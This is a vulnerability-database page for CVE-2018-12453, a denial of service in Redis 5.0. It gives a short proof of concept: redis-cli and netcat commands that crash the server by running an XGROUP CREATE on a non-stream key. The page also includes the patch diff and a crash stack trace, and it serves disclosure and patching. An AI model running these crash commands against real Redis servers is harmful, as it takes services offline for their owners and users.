Lucene search
K

Redis 5.0 Denial Of Service

🗓️ 21 Jun 2018 00:00:00Reported by Fakhri ZulkifliType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 83 Views

Redis 5.0 Denial of Service vulnerability via xgroup comman

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Redis 5.0 - Denial of Service Vulnerability
20 Jun 201800:00
zdt
IBM Security Bulletins
Security Bulletin: Multiple Vulnerabilities In Redis affects Watson Studio Local (CVE-2018-12453, CVE-2018-12326, CVE-2018-11218)
20 Dec 201913:49
ibm
CNVD
Redis Denial of Service Vulnerability
29 Jun 201800:00
cnvd
CVE
CVE-2018-12453
16 Jun 201817:00
cve
Cvelist
CVE-2018-12453
16 Jun 201817:00
cvelist
Debian CVE
CVE-2018-12453
16 Jun 201817:00
debiancve
Exploit DB
Redis 5.0 - Denial of Service
20 Jun 201800:00
exploitdb
exploitpack
Redis 5.0 - Denial of Service
20 Jun 201800:00
exploitpack
NVD
CVE-2018-12453
16 Jun 201817:29
nvd
OpenVAS
Redis 'xgroupCommand' function DoS Vulnerability
18 Jun 201800:00
openvas
Rows per page
`# Exploit Title: Redis 5.0 Denial of Service  
# Date: 2018-06-13  
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)  
# Vendor Homepage: https://redis.io/  
# Software Link: https://redis.io/download  
# Version: 5.0  
# Fixed on: 5.0  
# CVE : CVE-2018-12453  
  
Type confusion in the xgroupCommand function in t_stream.c in redis-server in Redis before 5.0 allows remote attackers to cause denial-of-service via an XGROUP command in which the key is not a stream.  
  
  
PoC:  
$ ./src/redis-cli -p 1234  
127.0.0.1:1234> set a 123  
OK  
127.0.0.1:1234> xgroup create a b $  
Error: Connection reset by peer <a segfault'ed  
127.0.0.1:1234>  
  
The bug also could be triggered via netcat  
$ nc 127.0.0.1 1234  
set a 123  
+OK  
xgroup create a b $ <a segfaultaed after this line  
  
  
@@ -1576,7 +1576,7 @@ NULL  
/* Lookup the key now, this is common for all the subcommands but HELP. */  
if (c->argc >= 4) {  
robj *o = lookupKeyWriteOrReply(c,c->argv[2],shared.nokeyerr);  
- if (o == NULL) return;  
+ if (o == NULL || checkType(c,o,OBJ_STREAM)) return;  
s = o->ptr;  
grpname = c->argv[3]->ptr;  
  
  
#0 0x6d0706 in logStackContent /home/user/redis/src/debug.c:732:45  
#1 0x6d3917 in sigsegvHandler /home/user/redis/src/debug.c:1089:5  
#2 0x7f65d736e38f (/lib/x86_64-linux-gnu/libpthread.so.0+0x1138f)  
#3 0x804afc in streamLookupCG /home/user/redis/src/t_stream.c:1502:12  
#4 0x805b36 in xgroupCommand /home/user/redis/src/t_stream.c:1584:19  
#5 0x58ded7 in call /home/user/redis/src/server.c:2298:5  
#6 0x591c70 in processCommand /home/user/redis/src/server.c:2580:9  
#7 0x5e2d98 in processInputBuffer /home/user/redis/src/networking.c:1325:17  
#8 0x565612 in aeProcessEvents /home/user/redis/src/ae.c:443:17  
#9 0x56614c in aeMain /home/user/redis/src/ae.c:501:9  
#10 0x59da71 in main /home/user/redis/src/server.c:3992:5  
#11 0x7f65d6d9d82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291  
#12 0x43da38 in _start (/home/user/redis/src/redis-server+0x43da38)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jun 2018 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.31963
83